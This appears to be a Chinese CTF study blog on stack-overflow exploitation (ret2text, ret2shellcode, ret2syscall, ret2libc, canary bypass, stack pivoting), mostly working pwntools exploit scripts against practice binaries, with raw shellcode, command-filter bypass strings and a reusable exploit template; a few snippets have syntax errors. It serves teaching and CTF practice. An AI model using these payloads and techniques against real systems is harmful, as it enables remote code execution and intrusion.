栈溢出

Anike / 2024-02-22 / 原文

ret2text

Newstar Week1
from pwn import *
context.log_level = 'debug'
io = process('./ret2text')
# io = remote("node4.buuoj.cn",25439)
io.recvuntil(b"magic\n")
backdoor = 0x4011FB
shell = b'a'*0x28 + p64(backdoor)
io.sendline(shell)
io.interactive()

开启了栈不可执行保护

本题存在后门函数,并且有gets函数存在,可以实现溢出到返回地址,覆盖为后门函数地址即可获得shell

函数调用栈逻辑

image-20240101182425987

ret2shellcode

B0CTF新生赛
from pwn import *
io = process('./new_shellcode')
context.log_level = 'debug'
context.os='linux' # 指定操作系统,方便获取到正确的shellcode
context.arch="amd64" # 指定架构,方便获取到正确的shellcode
shellcode = asm(shellcraft.amd64.sh()) #asm改为机器码,shellcraft.sh()获取调用shell的汇编码,amd64获取64位shellcode
payload=shellcode.ljust(0x108, b'\x90') + p64(0x6010A0) # ljust向shellcode的尾部填充一定长度的字节,使我们写shellcode和实现控制返回地址,在一步之中完成,使用\x90即nop可以避免出现一些错误
io.sendline(payload)
io.interactive()
#\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05	amd64shellcode
#\x31\xd2\x52\x68\x63\x61\x6c\x63\x89\xe1\x52\x53\x89\xe1\xb0\x0b\xcd\x80	32位调用
#可见型字符shellcode
#Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00gao@fossa
#PYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx

image-20231228165920238

源程序几乎没有开启任何保护,并且有可读,可写,可执行段

在栈不可执行机制,以及随机化,故无法直接写在栈上shellcode,而bss段在题目中被赋予了可读可写可执行的权限,并且有全局变量存在(全局变量未初始化存在bss段,初始化的全局变量在data段)

本题可以通过strcpy将数据读入,调试发现rsp与rbp之间差0x100字符位置,且64位环境下指针为8字节,因此读入shellcode,再用108个垃圾数据覆盖,加上返回的bss段地址即可获得shell

ret2sycall

CTF-WIKI
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
    ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])	
#flat函数接受一个列表,然后将其转化字节型数据
sh.sendline(payload)
sh.interactive()

源程序为 32 位,开启了 NX 保护

本题没有后门函数,并且无全局变量可写入bss段,NX 保护开启,因此在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程,本题是静态链接,可直接使用gadget

偏移地址通过gdb调试,输入数据后,使用stack命令查看

ROP 攻击一般得满足如下条件

  • 程序存在溢出,并且可以控制返回地址。
  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
传递参数逻辑

如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以'bbbb' 作为虚假的地址,其后参数对应的参数内容

如果传参函数较多可以用 右侧方法 0
会执行system("/bin/sh"),puts("hello"),exit(0) "hello"
0 exit
"/bin/sh" puts
exit(可以用bbbb覆盖) "/bin/sh"
ebp: system(system执行后exit退出) pop_ret
local var(绕过ebp,exit/bbbb找到"/bin/sh"填入system) system

system调用先压ebp,然后向上寻找两个字长的长度,故将"/bin/sh"写到距system的8字节地方。其他函数需要查看具体实现的汇编代码

x64_rop

题目来源:XMCVE

x64与x86函数使用的参数的不同之处

x86在调用函数时,首先将函数所需参数逆序压入栈中,然后call指令会压入上次执行到的地址(返回地址),然后压入当前ebp的值,并将 ebp 寄存器的值更新为当前栈顶的地址,这样父栈的 ebp信息得以保存。同时,ebp 被更新为被调用函数的基地址。

x64在调用函数时,前6个参数不压入栈中,而是顺序加载到对应的寄存器中(rdi、rsi、rdx、rcx、r8、r9),参数超过6个后于x86一致(压入栈中),因此对于x64的题目,可以利用gadget操控寄存器的值(即找到pop_rdi_ret,有多个参数找对应寄存器)。两者都是先传参后调用

攻击代码

from pwn import *
io = process("./level2_x64")
elf = ELF("./level2_x64")
system = elf.plt["system"] #如果出现地址错误,就去IDA中找对应地址
pop_rdi_ret = 0x00000000004006b3 #将binsh压入rdi,再调用system,64位机器记录的为8字节长度,但可省略前面的0
binsh = next(elf.search(b"/bin/sh"))
payload = cyclic(0x88) + p64(pop_rdi_ret) + p64(binsh) + p64(system)	#到system后,会加载存放参数寄存器中的值
io.sendline(payload)
io.interactive()
利用gadgets
  1. eax=0xb
  2. ebx=/bin/sh 的地址
  3. ecx=0
  4. edx=0

利用ROPgadget工具查找对应的汇编命令

ROPgadget --binary pwn --only 'pop|ret' | grep 'eax'
ROPgadget --binary pwn  --only 'pop|ret' | grep 'ebx'
ROPgadget --binary pwn --string '/bin/sh'

找到对应的地址,然后利用gadget原理编写exp后,即可得到shell

ret2syscall参考

ret2libc

CTF-WIKI
from pwn import *
io = process('./ret2libc1')
backdoor = 0x08048720 
#backdoor = next(elf.search("/bin/sh"))
system = 0x08048460
#system = elf.plt["system"]
payload = flat(['a' * 112, system, 'b' * 4, backdoor])
io.sendline(payload)
io.interactive()

源程序为 32 位,开启了 NX 保护

本题是动态链接编译,可用gadget不足以直接完成系统调用,因此利用动态链接库的函数,在执行 gets 函数的时候出现了栈溢出,rop发现存在/bin/sh,ida中又可以找到system函数,由此编写exp。(c语言硬编码了字符,不能直接写"/bin/sh",传递地址)

第一次call system-->system@plt-->system@got,此时got存储是system@plt,于是立即返回,system@plt便会对system进行解析写入system@got,最终到system函数。

故第一次是call system-->system@plt-->system@got-->system@plt-->resolve-->system

之后引用是call system-->system@plt-->system@got-->system

ret2libc2

CTF-WIKI
from pwn import *
io = process('./ret2libc2')
elf = ELF("./ret2libc2")
system = elf.plt["system"]
gets = elf.plt['gets']
pop_ebx_ret = 0x0804843d 
buf2 = 0x0804A080
#payload = flat([112*'A',gets_adr,sys_adr,buf2_adr,buf2_adr]) 两个及以下可以用这种
payload = flat(['a'*112, gets, pop_ebx_ret, buf2, system, "a"*4, buf2])  #三个及以上用这种
io.sendline(payload)
io.sendline("/bin/sh")
io.interactive()

源程序为 32 位,只开了堆栈不可执行

本题有system,但没有"/bin/sh",我们可以自己制造一个。先再bss段找一个变量,我们需要调用gets函数,读取一个bin/sh放在buf2,然后找到gets函数,去plt表看,再在后面的调用中把buf2作为参数。

ret2libc3

对应c语言知识

fflush 是 C 语言中的一个函数,用于清空指定的输出或输入缓冲区。当你需要确保数据立即输出或输入到相应的设备时,可以使用这个函数,,原型为int fflush(FILE *stream); stream为一个指向 FILE 对象的指针,该对象指定了一个输出或输入流。如果成功,返回值为 0,失败返回EOF。

read()函数是在C语言中用于从文件描述符读取数据的函数。

原型为ssize_t read(int fd, void *buf, size_t count);

  • fd:文件描述符,它是一个非负整数,用于标识打开的文件。0为stdin 1为stdout 2为error
  • buf:一个指向缓冲区的指针,用于存储从文件中读取的数据。c语言中通常用数组或char类型指针
  • count:要读取的字节数
  • 如果成功读取了count个字节,则返回读取的字节数。

先泄露libc某个函数的got表地址,不能直接通过gdb看,因为ASLR打开,每次会不一样。

无/bin/sh时,看一下是否存在一些数据末尾为sh,且其后没有其他数据,通过截取来调用,也可以使用libc中的/bin/sh

讲的和做的不一样了😁

CTF-WIKI(32位)
from pwn import *
io = process("./ret2libc3")
ret2libc3 = ELF("./ret2libc3")
puts_plt = ret2libc3.plt['puts']	#这个地址可以调用puts函数,因为在程序中已调用过puts
libc_start_main = ret2libc3.got['__libc_start_main']	# 通过got表获取libc中start函数的偏移量
start = ret2libc3.symbols['_start']		#获取_start函数的地址,可以调用start函数
puts_got = ret2libc3.got['puts']		#获取got表puts地址
io.sendlineafter('Can you find it !?',flat(['a'*112, puts_plt, start, puts_got]))	
#利用puts函数打印出其对应的地址,start这样放可以重新到程序开始位置执行,而非重新加载该程序
put_addr = u32(io.recv()[0:4])	#获取4字节32位无符号整数
print (f"put_addr is "+hex(put_addr)) 	#控制台打印其地址0xf7c732a0
io.sendline(flat(['a'*112, puts_plt, start, libc_start_main]))
libc_start_main_addr = u32(io.recv()[0:4])
print (f"libc_start_main_addr is "+hex(libc_start_main_addr))	#获取libc中的start地址
#利用__libc_start_main和puts的地址可以用libcsearch网站找到对应的libc版本的其他函数对应地址,出现多个需要都尝试一遍
system_libc = 0x048170
binsh_libc = 0x1bd0d5
puts_libc = 0x0732a0
libc_base = put_addr -  puts_libc	#计算libc的基地址
#获取对应libc函数和字符串地址 
system = system_libc + libc_base	
binsh = binsh_libc + libc_base
io.sendline(flat(['a'*112, system, 'a'*4, binsh]))	#调用获取shell
io.interactive()
LibcSearch网站

函数的真正地址 = 基地址 + 偏移地址

偏移地址:这就是与libc有关的原因,libc是Linux系统下的c函数库,既然是函数库就会存在system函数,binsh参数,libc里面存放的是函数的偏移地址。但是libc.so版本有很多,版本不同偏移量就不同,只要确定了libc版本就能偏移地址。

基地址:基地址在同一次运行时是相同的,但第二次运行就不同了,所以造成了函数的真正地址一直在变,但即使一直在变,最后三位却一直相同。这样只要知道某个函数的某一次地址,利用它的后三位,然后在网站上搜寻,就能获得libc版本

综上的分析结果是:泄露某个函数的真正地址,然后利用最后三位来确定libc版本,然后用来查找system函数与该函数的偏移地址。利用公式基地址 = 函数的真正地址- 偏移量 来确定基地址。然后利用公式来确定system函数真正地址。

我们知道puts函数,write函数等可以打印内容,这样的话我们可以直接利用他们打印出他们的真正地址(注意这个函数必须已经出现过了)
我们可以使用Linux延迟绑定机制。这个只需知道在libc中存在got表和plt表,plt存放的是进入这个函数的地址,而got表中存放的是这个函数的真正地址。(即got表泄露)
我们可以利用puts函数,write函数等函数打印它自己的真正的地址,然后找到libc版本,基地址,然后找到system函数地址

plt表中的地址可以用来调用对应的函数,got表中的地址有两种情况,程序中调用过的函数,got表存放其真实地址,未调用过则存放plt表对应地址,详解见ret2libc2

本题也可以使用one_gadget,算出偏移地址后使用得到的one_gadget攻击

ret2libc详解

2021 鹤城杯babyof_x64(利用LibcSearch)
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
io=remote('node4.anna.nssctf.cn',28410)
#io=process(‘./babyof’)
elf=ELF('./babyof')
rdi_addr=0x400743
pop_ret = 0x400506
plt_addr=elf.plt['puts']
got_addr=elf.got['puts']
main_addr=0x400632
payload1=b'a'(0x40+0x08)+p64(rdi_addr)+p64(got_addr)+p64(plt_addr)+p64(main_addr)
io.sendlineafter(b'overflow?',payload1)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr - libc.dump('puts')
system_addr=libc_base + libc.dump('system')
bin_sh_addr=libc_base + libc.dump('str_bin_sh')
payload=b'a'(0x40+0x08)+p64(pop_ret)+p64(rdi_addr)+p64(bin_sh_addr)+p64(system_addr)
io.sendlineafter(b'overflow?',payload)
io.interactive()

与ret2libc3基本一样

[CISCN 2019东北]PWN2_x64

这道题strlen的判定是利用’\x00’截断,以及栈对齐,其他与retlibc3一致

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote("node5.anna.nssctf.cn", 28442)
elf=ELF('./pwn')
io.recv()
io.sendline(b'1')
pop_rdi_ret=0x400c83
pop_ret=0x4006b9
puts_plt_addr=elf.plt['puts']
puts_got_addr=elf.got['puts']
main_addr=0x4009A0
payload1=b'\x00'+b'a'*0x57+p64(pop_rdi_ret)+p64(puts_got_addr)+p64(puts_plt_addr)+p64(pop_ret)+p64(main_addr)
io.sendline(payload1)
puts_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - 0x0809c0
system = libc_base + 0x04f440
binsh = libc_base + 0x1b3e9a
payload2 = b'\x00'+b'a'*0x57+p64(pop_rdi_ret)+p64(binsh)+p64(system)+p64(pop_ret) #这里使用栈对齐
io.sendline(payload2)
io.interactive()
利用libc.so文件的ret2libc
from pwn import *
io = remote("node4.anna.nssctf.cn", 28837)
context(log_level='debug', arch='amd64', os='linux')
# io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")
pop_rdi_ret=0x4007d3
pop_ret=0x400556
puts_plt_addr=elf.plt['puts']
puts_got_addr=elf.got['puts']
main_addr=0x4006B0
payload1=b'\x00'*0x68+p64(pop_rdi_ret)+p64(puts_got_addr)+p64(puts_plt_addr)+p64(pop_ret)+p64(main_addr)
io.recvuntil(b"Leave your message:")
io.sendline(payload1)
puts_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))
libc_base=puts_addr-libc.symbols["puts"]
system=libc_base+libc.symbols["system"]
binsh=libc_base+next(libc.search(b"/bin/sh"))
payload2 = b'\x00'*0x68+p64(pop_ret)+p64(pop_rdi_ret)+p64(binsh)+p64(system) #这里使用栈对齐
io.sendline(payload2)
io.interactive()

ret2scu

控制csu_init中寄存器的值

ret2scu详细讲解

stack smash

​ 在程序添加了canary保护后,如果我们读取的buffer覆盖了对应的值时,程序就会报错,而我们一般并不会关心报错信息。
但stack smash技巧则是利用打印这一信息的程序得到我们想要的内容。
​ 这是因为程序在启动canary保护之后,如果发现canary被修改的话,程序就会执行__stack_chk_fail函数来打印argv[0]指针所指向的字符串,正常情况下,这个指针指向程序名。
​ 所以说如果我们利用栈溢出覆盖argv[0]为我们想要的输出的字符串地址,那么在fortify_fail函数中就会输出我们想要的信息。高版本的libc(2.27以上)已经修复了这个漏洞😅

在 ELF 内存映射时,bss 段会被映射两次,所以我们可以使用另一处的地址来进行输出,可以使用 gdb 的 gref 来进行查找。

题目:[2021 鹤城杯]easyecho | NSSCTF

canary

[canary介绍与绕过技巧]

  1. 泄露栈中的 Canary
  2. one-by-one 爆破 Canary(通过 fork 函数创建的子进程的 Canary 也是相同的)
  3. 劫持__stack_chk_fail 函数
  4. 覆盖 TLS 中储存的 Canary 值
canary1+libc3
from pwn import *
# io = remote("node4.anna.nssctf.cn", 28899)
context(log_level = 'debug', arch='amd64', os='linux')
io = process("./pwn")
elf = ELF("./pwn")
pop_rdi_ret = 0x00400863
ret = 0x0040059e
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main = 0x004006E2
payload1 = cyclic(0x48)
io.sendline(payload1)
io.recvuntil(b'raaa\n')
canary_addr = u64(io.recv(7).rjust(8, b'\x00'))	#48位垃圾数据加一个\n,泄露了canary的值,只接受7位可以避免'\n'的影响
#canary_addr = u64(p.recv(8))-0xa 接受了8位就需要减去'\n'对应的ASCLL码值
print(hex(canary_addr))
payload2 = cyclic(0x50-0x8) + p64(canary_addr) + b'a'*8 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendlineafter(b'Try harder!', payload2)
io.recvline()
puts_addr = u64(io.recvline()[:-1].ljust(8, b'\x00'))	#ljust左对齐,rjust右对齐
print(hex(puts_addr))
payload3 = b'a'*8
io.sendline(payload3)
libc_base = puts_addr - 0x080aa0
system = libc_base + 0x04f550
binsh = libc_base + 0x1b3e1a
payload4 = cyclic(0x48) + p64(canary_addr) + b'\x90'*8 + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)	#栈平衡
io.sendline(payload4)
io.interactive()

$0代替sh妙用

NSSCTF

本题学到$0字符可以充当/bin/sh。0x400540: call near ptr 403569h这行指令对应的机器码为:E8 24 30 00 00而’$0’对应的为 24 30 所以从41开始,而非从40。

from pwn import *
import struct
context(os='linux',arch='amd64',log_level='debug')
io = remote("node4.anna.nssctf.cn",28561)
elf = ELF("./shell")
pop_rdi = 0x4005e3
binsh = 0x400541	#实际是tip
system = 0x400557
payload = b'a'*0x18 + p64(pop_rdi) + p64(binsh) + p64(system)
io.sendline(payload)
io.interactive()

ret2dl-resolve

栈迁移

大意

改变esp和ebp的位置(核心是修改esp位置),欺骗操作系统以为是可执行的栈区

原因

可溢出的长度不够用,也就是说我们要么是没办法溢出到返回地址只能溢出覆盖ebp,要么是刚好溢出覆盖了返回地址但是受payload长度限制,没办法把参数给写到返回地址后面。总之呢,就是能够溢出的长度不够,没办法GetShell,所以我们才需要换一个地方GetShell。

条件

  1. 要能够栈溢出,这点尤其重要,最起码也要溢出覆盖个ebp
  2. 要有个可写的地方(就是你要GetShell的地方),先考虑bss段,最后再考虑写到栈中

栈迁移的核心,就在于两次的leave;ret指令上面

leave指令即为mov esp ebp;pop ebp;	pop ebp之后,esp会减去一个字长
ret指令为pop eip,这个指令就是把栈顶的内容弹进了eip

原理

首先利用溢出把ebp的内容给修改掉(修改成我们要迁移的那个地址),并且把返回地址填充成leave;ret指令的地址(因为我们需要两次leave;ret)开始执行第一个leave,此时mov esp ebp让两个指针处于同一位置,现在还是正常运行,接着执行pop ebp就出现了异常,因为此时ebp的内容被修改成了要迁移的地址,因此执行了pop ebp,ebp并没有弹到它本应该去的地方(正常情况下,ebp里装的内容,就是它接下来执行pop ebp要去的地方),而是弹到了我们修改的那个迁移后的地址,接着执行了pop eip,eip里放的又是leave的地址(因为此时是把返回地址弹给eip,这个返回地址,我们先给覆盖成leave;ret的地址。你可能会问,如果这个返回地址不放成leave;ret的地址,行不行?很明显是不行的,因为我们想要实现栈迁移,就必须执行两个leave;ret,main函数正常结束,只有一个level;ret,因此我们在这里必须要它的返回地址写成leave;ret地址,以来进行第二次leave;ret),结果又执行了leave(现在执行第二个leave),此时才是到了栈迁移的核心部分,mov esp ebp,ebp赋给了esp,此时esp挪到了ebp的位置,可你别忘了,现在的ebp已经被修改到了我们迁移后的地址,因此现在esp也到了迁移后的地址,接着pop ebp,把这个栈顶的内容弹给ebp,esp指向了下一个内存单元,此时我们只需要将这个内存单元放入system函数的地址,最后执行了pop eip,此时system函数进入了eip中,我们就可以成功GetShell了

buuctf例题
#较高版本libc无法实现
from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
io = remote("node5.buuoj.cn", 27996)
# io = process("./pwn")
elf = ELF("./pwn")
leave = 0x08048511
vuln = 0x08048513
ret = 0x08048312
write_plt = elf.plt["write"]
write_got = elf.got["write"]
bss = 0x0804A300
payload1 = cyclic(0x4) + p32(write_plt) + p32(vuln) + p32(1) + p32(write_got) + p32(4)
io.recvuntil('What is your name?')
io.send(payload1)
io.recvuntil('What do you want to say?')
payload2 = cyclic(0x18) + p32(bss) +p32(leave)
io.send(payload2)
write_addr = u32(io.recv(4)
print(hex(write_addr)) 
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')
io.recvuntil("What is your name?")
payload3 = cyclic(0x4) + p32(system) +p32(0) + p32(binsh)
io.send(payload3)
io.recvuntil('What do you want to say?')
payload4 = cyclic(0x18) + p32(bss) + p32(leave)
io.sendline(payload4)
io.interactive()
[ciscn_2019_es_2](BUUCTF在线评测 (buuoj.cn))

栈平衡

在X64系统中有MOVAPS指令的存在,会从eax地址开始的16字节复制到XMMO寄存器,因此需要按16字节对齐,否则会程序崩溃,可以用ret指令//nop指令来平衡

栈喷射

例题 原理

ORW

hgame2023--orw+rop

补充

整数溢出型

用unsinged符合时使用负数,有些题则只需要溢出大量数据即可

覆盖float型

浮点数转16进制,我们需要让判断成立。覆盖掉v3的值。1. 将浮点数转换为16进制数据 2. float占4字节。需要四个\0x00这样的数据 3. 在payload中需要将16进制的数加p32这样的转换变为计算机中类似\0x99这样 的数据再覆盖 覆盖时可以注意:数据从低地址位开始存,再内存中也是低地址位先存数据。而对于 小端序方式,数据的存储是低地址存低位,高位字节存在高地址。

命令执行绕过
nl${IFS}f*
nl$IFS$9f*
tail ./*
tail$IFS$9./f*
tac fla* >&2
python调用c语言
from pwn import *
from ctypes import *
io = remote("node4.anna.nssctf.cn", 28286)
context(log_level='debug', arch='amd64', os='linux')
libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
time = libc.time(0)
libc.srand(time)
v4 = libc.rand()
libc.srand(v4 % 3 - 1522127470)
for i in range (120):
    io.sendline(str(libc.rand()%4+1))
io.interactive()
知识点

cyclic(所需长度)函数可以用来生成垃圾数据,输入之后查看出错的地方,cyclic -l 崩溃字符即可得到栈的长度

ret2shellcode用\x90作为nop,除了system,也可以用exceve("/bin/sh",NULL,NULL)。u32是解包32位数据,u64为解包64位数据

$()和 ' 都是getshell常用的符号

格式
from pwn import *
from LibcSearcher import *
from ctypes import *
from struct import pack
import time

#--------------------------------------------------------------------------------------------------
#自定义函数

def debug():
    gdb.attach(io)
    pause()

def sh():
	return base + libc.sym['system'], base + next(libc.search(b'/bin/sh\x00'))
	
def PGM(data1, data2, data3, num):
	return elf.plt[str(data1)], elf.got[str(data2)], elf.sym[str(data3)], elf.bss(num)
	
def ls(base, data):
	return base + libc.sym[str(data)]

def shell():
	return asm(shellcraft.sh())

def orw1(data1, bss, p):
	return asm(shellcraft.open(str(data1)) + shellcraft.read(3, bss, p) + shellcraft.write(1, bss, p))
	
def orw2(data):
	return asm(shellcraft.cat(str(data)))
	
#find_gadget
def fgg(data1):
	return base + rop.find_gadget([str(data1), 'ret'])[0]

s 		= 	lambda data 				: io.send(data)
sa 		= 	lambda delim,data 			: io.sendafter(str(delim), data)
sl 		= 	lambda data 				: io.sendline(data)
sla 	= 	lambda delim,data 			: io.sendlineafter(str(delim), data)
r 		= 	lambda num 					: io.recv(num)
rl		=	lambda 						: io.recvline()
ru 		= 	lambda delims, drop = True 	: io.recvuntil(delims, drop)
leak 	= 	lambda name,addr 			: log.success('{} = {:#x}'.format(name, addr))
uu32 	= 	lambda data					: u32(io.recv(data).rjust(4,b'\x00'))
uu64 	= 	lambda data 				: u64(io.recv(data).rjust(8,b'\x00'))
l32 	= 	lambda 						: u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 	= 	lambda 						: u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
i32		=	lambda data					: int(io.recv(data), 16)
i64		=	lambda data					: int(io.recv(data), 16)

#ret2dl
def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
	linkmap = p64(offset & (2 ** 64 - 1))

	linkmap += p64(0)
	linkmap += p64(fake_linkmap_addr + 0x18)

	linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
	linkmap += p64(0x7)
	linkmap += p64(0)

	linkmap += p64(0)

	linkmap += p64(0)
	linkmap += p64(known_func_ptr - 0x8)

	linkmap += b'/bin/sh\x00'
	linkmap = linkmap.ljust(0x68,b'A')
	linkmap += p64(fake_linkmap_addr)
	linkmap += p64(fake_linkmap_addr + 0x38)
	linkmap = linkmap.ljust(0xf8,b'A')
	linkmap += p64(fake_linkmap_addr + 0x8)
	return linkmap

#--------------------------------------------------------------------------------------------------
#系统更换

#OSnum = 1

#x64
context(os='linux', arch='amd64', log_level='debug')

#x86
#context(os='linux', arch='i386', log_level='debug')

#--------------------------------------------------------------------------------------------------
#文件切换

library = '/home/yu/CTF/PWN/ss'

local = 1
if(local == 0):     #本地练习
    io = process(library)
elif(local == 1):   #NSSCTF
    io = remote('node4.anna.nssctf.cn',28953)
elif(local == 2):   #BUUCTF
    io = remote('node4.buuoj.cn',28067)
else:               #比赛远程
    io = remote('chal.nbctf.com',30170)

elf = ELF(library)
    
#--------------------------------------------------------------------------------------------------
#libc

pwnlibc = 1
if(pwnlibc == 0):       #其他版本
    libc = ELF('/home/yu/CTF/PWN/libc.so.6')
elif(pwnlibc == 1):     #本地
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

rop = ROP(libc)

#--------------------------------------------------------------------------------------------------
#调试

#断点调试
#gdb.attach(io,'b *0x4012B5')

#PIE调试
#gdb.attach(io,'b *$rebase(0x124B)')

#程序调试
#gdb.attach(io)

#--------------------------------------------------------------------------------------------------
#代码



#--------------------------------------------------------------------------------------------------

#pause()

#--------------------------------------------------------------------------------------------------
io.interactive()